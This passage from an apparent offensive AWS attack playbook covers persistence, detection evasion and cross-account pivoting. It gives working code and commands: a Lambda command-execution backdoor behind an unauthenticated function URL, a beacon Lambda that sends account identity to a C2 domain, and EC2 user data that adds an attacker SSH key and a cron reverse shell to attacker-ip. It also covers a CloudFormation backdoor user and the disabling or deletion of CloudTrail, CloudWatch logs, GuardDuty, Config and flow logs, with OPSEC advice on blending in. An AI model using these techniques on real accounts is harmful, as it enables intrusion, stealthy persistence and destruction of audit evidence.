# From your attacker account, assume the role
aws sts assume-role \
--role-arn arn:aws:iam::<victim-account-id>:role/CloudInfrastructureRole \
--role-session-name maintenance-session
# OPSEC: Cross-account roles are common in enterprises; hard to detect if named appropriately
3. Lambda Backdoor (Serverless Persistence):#
# Create Lambda function that provides shell access via API Gateway
cat > lambda_backdoor.py << 'EOF'
import json
import subprocess
import boto3
import base64
def lambda_handler(event, context):
# Extract command from request
body = json.loads(event.get('body', '{}'))
cmd = body.get('cmd', 'whoami')
auth_token = body.get('token', '')
# Simple authentication (use strong token in production)
if auth_token != "YOUR_SECRET_TOKEN":
return {
'statusCode': 403,
'body': json.dumps({'error': 'Unauthorized'})
}
# Execute command
try:
result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
output = result.decode('utf-8')
except Exception as e:
output = str(e)
return {
'statusCode': 200,
'body': json.dumps({'output': output})
}
EOF
zip lambda_backdoor.zip lambda_backdoor.py
# Create execution role for Lambda
cat > lambda-trust-policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Service": "lambda.amazonaws.com"},
"Action": "sts:AssumeRole"
}]
}
EOF
aws iam create-role \
--role-name LambdaSystemMonitoring \
--assume-role-policy-document file://lambda-trust-policy.json \
--profile <profile-name>
# Attach policies (add more for lateral movement)
aws iam attach-role-policy \
--role-name LambdaSystemMonitoring \
--policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole \
--profile <profile-name>
aws iam attach-role-policy \
--role-name LambdaSystemMonitoring \
--policy-arn arn:aws:iam::aws:policy/PowerUserAccess \
--profile <profile-name>
# Deploy function
aws lambda create-function \
--function-name system-health-monitor \
--runtime python3.11 \
--role arn:aws:iam::<account-id>:role/LambdaSystemMonitoring \
--handler lambda_backdoor.lambda_handler \
--zip-file fileb://lambda_backdoor.zip \
--timeout 60 \
--profile <profile-name>
# Create function URL (Lambda URLs - easier than API Gateway)
aws lambda create-function-url-config \
--function-name system-health-monitor \
--auth-type NONE \
--profile <profile-name>
# Get the function URL
aws lambda get-function-url-config \
--function-name system-health-monitor \
--profile <profile-name>
# Test backdoor
curl -X POST https://<function-url-id>.lambda-url.<region>.on.aws/ \
-H "Content-Type: application/json" \
-d '{"token":"YOUR_SECRET_TOKEN","cmd":"aws sts get-caller-identity"}'
# OPSEC: Lambda executes in AWS infrastructure; hard to trace back to attacker
# Use generic function names related to monitoring/logging
4. EventBridge Scheduled Backdoor:#
# Create Lambda that calls home periodically
cat > beacon_lambda.py << 'EOF'
import json
import urllib.request
import boto3
def lambda_handler(event, context):
# Send beacon to C2 server
sts = boto3.client('sts')
identity = sts.get_caller_identity()
data = json.dumps({
'account': identity['Account'],
'role': identity['Arn'],
'timestamp': event['time']
}).encode('utf-8')
try:
req = urllib.request.Request(
'https://your-c2-domain.com/beacon',
data=data,
headers={'Content-Type': 'application/json'}
)
urllib.request.urlopen(req, timeout=10)
except:
pass
return {'statusCode': 200}
EOF
zip beacon_lambda.zip beacon_lambda.py
# Deploy Lambda (reuse role from previous example)
aws lambda create-function \
--function-name cloudwatch-metric-aggregator \
--runtime python3.11 \
--role arn:aws:iam::<account-id>:role/LambdaSystemMonitoring \
--handler beacon_lambda.lambda_handler \
--zip-file fileb://beacon_lambda.zip \
--profile <profile-name>
# Create EventBridge rule (runs every 6 hours)
aws events put-rule \
--name scheduled-metric-collection \
--schedule-expression "rate(6 hours)" \
--state ENABLED \
--description "Periodic metric collection for monitoring" \
--profile <profile-name>
# Add Lambda as target
aws events put-targets \
--rule scheduled-metric-collection \
--targets "Id"="1","Arn"="arn:aws:lambda:<region>:<account-id>:function:cloudwatch-metric-aggregator" \
--profile <profile-name>
# Grant EventBridge permission to invoke Lambda
aws lambda add-permission \
--function-name cloudwatch-metric-aggregator \
--statement-id AllowEventBridgeInvoke \
--action 'lambda:InvokeFunction' \
--principal events.amazonaws.com \
--source-arn arn:aws:events:<region>:<account-id>:rule/scheduled-metric-collection \
--profile <profile-name>
# OPSEC: Scheduled executions blend with legitimate automation
5. SSM Parameter Store Credential Storage:#
# Store backdoor credentials in Parameter Store (encrypted)
aws ssm put-parameter \
--name "/system/backup/credentials" \
--value '{"AccessKeyId":"AKIA...","SecretAccessKey":"..."}' \
--type SecureString \
--description "Backup system credentials" \
--profile <profile-name>
# Retrieve later
aws ssm get-parameter \
--name "/system/backup/credentials" \
--with-decryption \
--profile <profile-name>
# OPSEC: Encrypted parameters are common; name them appropriately
# Good names: "/app/database/master", "/system/api/keys", "/backup/credentials"
6. Secrets Manager Backdoor:#
# Store complete AWS credentials in Secrets Manager
aws secretsmanager create-secret \
--name prod/terraform/aws-credentials \
--description "Terraform deployment credentials" \
--secret-string '{"AccessKeyId":"AKIA...","SecretAccessKey":"...","SessionToken":"..."}' \
--profile <profile-name>
# Set rotation (optional, makes it look legitimate)
aws secretsmanager update-secret-version-stage \
--secret-id prod/terraform/aws-credentials \
--version-stage AWSCURRENT \
--profile <profile-name>
# Retrieve later
aws secretsmanager get-secret-value \
--secret-id prod/terraform/aws-credentials \
--profile <profile-name>
# OPSEC: Secrets Manager access is logged but secrets are expected to be sensitive
7. EC2 User Data Persistence:#
# Modify EC2 instance user-data to include backdoor
cat > backdoor-userdata.sh << 'EOF'
#!/bin/bash
# System initialization script
# Add backdoor SSH key
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> /home/ec2-user/.ssh/authorized_keys
# Create reverse shell cron job
(crontab -l 2>/dev/null; echo "*/30 * * * * /usr/bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1") | crontab -
# Install persistence via systemd
cat > /etc/systemd/system/system-monitor.service << 'SERVICE'
[Unit]
Description=System Monitoring Service
After=network.target
[Service]
ExecStart=/usr/bin/python3 /opt/monitor.py
Restart=always
[Install]
WantedBy=multi-user.target
SERVICE
systemctl enable system-monitor.service
systemctl start system-monitor.service
EOF
# Apply to running instance (requires reboot or specific conditions)
aws ec2 modify-instance-attribute \
--instance-id <instance-id> \
--user-data file://backdoor-userdata.sh \
--profile <profile-name>
# OPSEC: User data changes require instance restart; coordinate timing
8. CloudFormation Stack Persistence:#
# Deploy persistent infrastructure via CloudFormation
cat > persistence-stack.yaml << 'EOF'
AWSTemplateFormatVersion: '2010-09-09'
Description: System backup and monitoring infrastructure
Resources:
BackupUser:
Type: AWS::IAM::User
Properties:
UserName: aws-backup-automation
ManagedPolicyArns:
- arn:aws:iam::aws:policy/PowerUserAccess
Tags:
- Key: Purpose
Value: Automated Backups
- Key: ManagedBy
Value: CloudFormation
BackupAccessKey:
Type: AWS::IAM::AccessKey
Properties:
UserName: !Ref BackupUser
BackupCredentialSecret:
Type: AWS::SecretsManager::Secret
Properties:
Name: backup/aws-credentials
Description: Backup system AWS credentials
SecretString: !Sub |
{
"AccessKeyId": "${BackupAccessKey}",
"SecretAccessKey": "${BackupAccessKey.SecretAccessKey}"
}
Outputs:
AccessKeyId:
Description: Backup user access key
Value: !Ref BackupAccessKey
SecretName:
Description: Secret containing credentials
Value: !Ref BackupCredentialSecret
EOF
# Deploy stack
aws cloudformation create-stack \
--stack-name backup-infrastructure \
--template-body file://persistence-stack.yaml \
--capabilities CAPABILITY_NAMED_IAM \
--profile <profile-name>
# Get outputs after creation
aws cloudformation describe-stacks \
--stack-name backup-infrastructure \
--query 'Stacks[0].Outputs' \
--profile <profile-name>
# OPSEC: CloudFormation stacks appear as infrastructure-as-code; legitimate-looking
# Stack deletion protection can be enabled to prevent easy removal
AWS Detection Evasion & Log Manipulation#
Detection Evasion Techniques#
1. CloudTrail Manipulation:#
# Identify active CloudTrail trails
aws cloudtrail describe-trails --profile <profile-name>
# Get trail status
aws cloudtrail get-trail-status --name <trail-name> --profile <profile-name>
# DESTRUCTIVE: Stop logging (highly detectable)
aws cloudtrail stop-logging --name <trail-name> --profile <profile-name>
# STEALTHIER: Modify event selectors to exclude specific events
aws cloudtrail put-event-selectors \
--trail-name <trail-name> \
--event-selectors '[{
"ReadWriteType": "WriteOnly",
"IncludeManagementEvents": true,
"DataResources": [],
"ExcludeManagementEventSources": ["kms.amazonaws.com","rdsdata.amazonaws.com"]
}]' \
--profile <profile-name>
# Check S3 bucket where logs are stored
aws cloudtrail describe-trails \
--query 'trailList[*].[Name,S3BucketName]' \
--output table \
--profile <profile-name>
# ADVANCED: Modify S3 bucket lifecycle policy to delete logs quickly
aws s3api put-bucket-lifecycle-configuration \
--bucket <cloudtrail-bucket> \
--lifecycle-configuration '{
"Rules": [{
"Id": "CleanupOldLogs",
"Status": "Enabled",
"Prefix": "",
"Expiration": {"Days": 1}
}]
}' \
--profile <profile-name>
# OPSEC: Stopping CloudTrail triggers GuardDuty alerts
# Better approach: Work within logging gaps or use event exclusions
# Monitor for: cloudtrail:StopLogging, cloudtrail:DeleteTrail, cloudtrail:PutEventSelectors
2. CloudWatch Logs Manipulation:#
# List log groups (find security-relevant logs)
aws logs describe-log-groups --profile <profile-name>
# Delete specific log streams (selective erasure)
aws logs delete-log-stream \
--log-group-name /aws/lambda/security-function \
--log-stream-name 2024/10/13/[$LATEST]abc123 \
--profile <profile-name>
# Modify retention policy (faster log deletion)
aws logs put-retention-policy \
--log-group-name <log-group> \
--retention-in-days 1 \
--profile <profile-name>
# Delete entire log group (nuclear option)
aws logs delete-log-group \
--log-group-name <log-group> \
--profile <profile-name>
# OPSEC: Log deletion is logged in CloudTrail; selective deletion is less obvious
# Actions logged: logs:DeleteLogGroup, logs:DeleteLogStream, logs:PutRetentionPolicy
3. GuardDuty Evasion:#
# Check if GuardDuty is enabled
aws guardduty list-detectors --profile <profile-name>
# Get detector details
aws guardduty get-detector --detector-id <detector-id> --profile <profile-name>
# List findings (see what's being detected)
aws guardduty list-findings --detector-id <detector-id> --profile <profile-name>
# Get finding details
aws guardduty get-findings \
--detector-id <detector-id> \
--finding-ids <finding-id> \
--profile <profile-name>
# EVASION: Archive findings (mark as resolved)
aws guardduty archive-findings \
--detector-id <detector-id> \
--finding-ids <finding-id> \
--profile <profile-name>
# EVASION: Create suppression rules (auto-archive specific finding types)
aws guardduty create-filter \
--detector-id <detector-id> \
--name LegitimateActivity \
--action ARCHIVE \
--finding-criteria '{
"Criterion": {
"type": {"Eq": ["Recon:EC2/PortProbeUnprotectedPort"]}
}
}' \
--profile <profile-name>
# DESTRUCTIVE: Disable GuardDuty (extremely noisy)
aws guardduty delete-detector --detector-id <detector-id> --profile <profile-name>
# OPSEC: GuardDuty generates findings for:
# - Unusual API calls, credential exposure, reconnaissance activity
# - Better to work slowly and avoid detection triggers
# - Use suppression rules to hide specific activity patterns
4. VPC Flow Logs Evasion:#
# Identify VPC Flow Logs
aws ec2 describe-flow-logs --profile <profile-name>
# Delete flow logs (disables network monitoring)
aws ec2 delete-flow-logs --flow-log-ids <flow-log-id> --profile <profile-name>
# OPSEC: Network traffic through VPC endpoints avoids internet egress logs
# Use VPC endpoints for S3, DynamoDB, etc. to reduce flow log visibility
5. Config Rules Manipulation:#
# List AWS Config rules
aws configservice describe-config-rules --profile <profile-name>
# Disable specific rule
aws configservice delete-config-rule \
--config-rule-name <rule-name> \
--profile <profile-name>
# Stop Config recorder (disables compliance monitoring)
aws configservice stop-configuration-recorder \
--configuration-recorder-name <recorder-name> \
--profile <profile-name>
# OPSEC: Config tracks resource configuration changes; stopping it is suspicious
6. EventBridge (CloudWatch Events) Rule Manipulation:#
# List event rules (find security automation)
aws events list-rules --profile <profile-name>
# Disable specific rule (disrupt automated response)
aws events disable-rule --name <rule-name> --profile <profile-name>
# Delete rule
aws events delete-rule --name <rule-name> --profile <profile-name>
# OPSEC: Organizations use EventBridge for automated security response
# Disabling rules can prevent incident response automation
7. Rate Limiting and Throttling Evasion:#
# AWS enforces API rate limits; evade by:
# Method 1: Distribute across regions
for region in us-east-1 us-west-1 eu-west-1 ap-southeast-1; do
aws ec2 describe-instances --region $region --profile <profile-name> &
done
wait
# Method 2: Use multiple profiles/accounts
for profile in profile1 profile2 profile3; do
aws iam list-users --profile $profile --max-items 10 &
done
wait
# Method 3: Add delays between requests
for i in {1..100}; do
aws s3 ls --profile <profile-name>
sleep $((RANDOM % 5 + 2)) # Random delay 2-7 seconds
done
# Method 4: Use pagination to stay under burst limits
aws ec2 describe-instances \
--max-results 10 \
--profile <profile-name>
# OPSEC: Slow and steady wins the race; rapid API calls trigger anomaly detection
8. CloudShell for Anonymous Operations:#
# Launch CloudShell from AWS Console (browser-based)
# Or use AWS CLI to execute commands through CloudShell
# CloudShell benefits:
# - Ephemeral environment (no persistent logs on your machine)
# - Uses temporary session credentials
# - Source IP is AWS infrastructure
# - Automatically authenticated with your current session
# Execute script via CloudShell
aws cloudshell put-file --source-path ./script.sh --destination-path /tmp/script.sh
aws cloudshell execute-command --command "bash /tmp/script.sh"
# OPSEC: CloudShell sessions are logged but appear as AWS-internal activity
# Good for: Avoiding source IP attribution, using AWS infrastructure as proxy
9. STS Regional Endpoints (Geo-Distribution):#
# Use regional STS endpoints to distribute traffic
export AWS_STS_REGIONAL_ENDPOINTS=regional
# Assume role from different regions
aws sts assume-role \
--role-arn <role-arn> \
--role-session-name session-us-west \
--region us-west-2 \
--profile <profile-name>
aws sts assume-role \
--role-arn <role-arn> \
--role-session-name session-eu-west \
--region eu-west-1 \
--profile <profile-name>
# OPSEC: Traffic originates from multiple regions, harder to correlate
10. API Gateway Proxying:#
# Create API Gateway to proxy AWS API calls (advanced evasion)
# Step 1: Create REST API
aws apigateway create-rest-api \
--name infrastructure-api \
--description "Infrastructure management API" \
--profile <profile-name>
# Step 2: Create Lambda proxy function
cat > api_proxy.py << 'EOF'
import json
import boto3
from botocore.exceptions import ClientError
def lambda_handler(event, context):
body = json.loads(event['body'])
service = body.get('service')
action = body.get('action')
params = body.get('params', {})
try:
client = boto3.client(service)
method = getattr(client, action)
result = method(**params)
return {
'statusCode': 200,
'body': json.dumps(result, default=str)
}
except Exception as e:
return {
'statusCode': 500,
'body': json.dumps({'error': str(e)})
}
EOF
# Deploy Lambda and configure API Gateway integration
# (Full implementation requires multiple steps)
# Usage: Route all AWS API calls through API Gateway
curl -X POST https://<api-id>.execute-api.<region>.amazonaws.com/prod/proxy \
-H "Content-Type: application/json" \
-d '{
"service": "iam",
"action": "list_users",
"params": {}
}'
# OPSEC: API Gateway logs can be disabled; provides obfuscation layer
11. S3 Access Logging Evasion:#
# Check if S3 bucket has server access logging enabled
aws s3api get-bucket-logging --bucket <bucket-name> --profile <profile-name>
# Disable logging (if you have permission)
aws s3api put-bucket-logging \
--bucket <bucket-name> \
--bucket-logging-status '{}' \
--profile <profile-name>
# OPSEC: Use --no-sign-request for anonymous access when possible
# S3 server access logs are separate from CloudTrail
12. Session Name Obfuscation:#
# When assuming roles, use generic session names
# BAD: Obvious attribution
aws sts assume-role \
--role-arn <role-arn> \
--role-session-name RedTeamAssessment \
--profile <profile-name>
# GOOD: Blends with legitimate traffic
aws sts assume-role \
--role-arn <role-arn> \
--role-session-name AWSCLISession \
--profile <profile-name>
# BETTER: Mimics automation tools
aws sts assume-role \
--role-arn <role-arn> \
--role-session-name terraform-20241013T153045 \
--profile <profile-name>
# OPSEC: Session names appear in CloudTrail; make them look legitimate
13. Tag-Based Attribution Confusion:#
# Add tags to resources you create to blend in
aws iam tag-user \
--user-name backdoor-user \
--tags Key=Owner,Value=DevOps Key=CostCenter,Value=IT-Operations Key=Terraform,Value=true \
--profile <profile-name>
# Tag EC2 instances to look like legitimate infrastructure
aws ec2 create-tags \
--resources <instance-id> \
--tags Key=Name,Value=web-server-prod-03 Key=Environment,Value=production Key=ManagedBy,Value=Ansible \
--profile <profile-name>
# OPSEC: Well-tagged resources appear as part of normal infrastructure
14. Time-Based Evasion:#
# Conduct operations during high-activity periods (business hours)
# Avoid activity during off-hours (triggers anomaly detection)
# Example: Schedule operations during 9 AM - 5 PM UTC
current_hour=$(date +%H)
if [ $current_hour -ge 9 ] && [ $current_hour -le 17 ]; then
# Execute reconnaissance
aws ec2 describe-instances --profile <profile-name>
else
# Sleep until business hours
echo "Waiting for business hours..."
sleep 3600
fi
# OPSEC: Behavioral analytics look for off-hours activity
15. Credential Rotation Awareness:#
# Monitor credential age to avoid using expired credentials
aws iam get-access-key-last-used \
--access-key-id <access-key-id> \
--profile <profile-name>
# Check when credentials were created
aws iam list-access-keys \
--user-name <user-name> \
--profile <profile-name>
# For assumed roles, check expiration
aws sts get-caller-identity --profile <profile-name>
# Then check session token expiration from original assume-role output
# OPSEC: Expired credentials trigger authentication failures (logged events)
16. Multi-Account Pivoting:#
# Once in one account, enumerate cross-account access
# Method 1: Check for cross-account role trusts
aws iam list-roles --profile <profile-name> \
| jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) | .RoleName'
# Method 2: Attempt to assume roles in other accounts
for account_id in 123456789012 234567890123 345678901234; do
echo "Trying account: $account_id"
aws sts assume-role \
--role-arn arn:aws:iam::$account_id:role/OrganizationAccountAccessRole \
--role-session-name CrossAccountAccess \
--profile <profile-name> 2>/dev/null && echo "Success!"
done
# Method 3: Check AWS Organizations structure
aws organizations describe-organization --profile <profile-name>
aws organizations list-accounts --profile <profile-name>
# OPSEC: Cross-account access is common in enterprises; hard to distinguish from legitimate use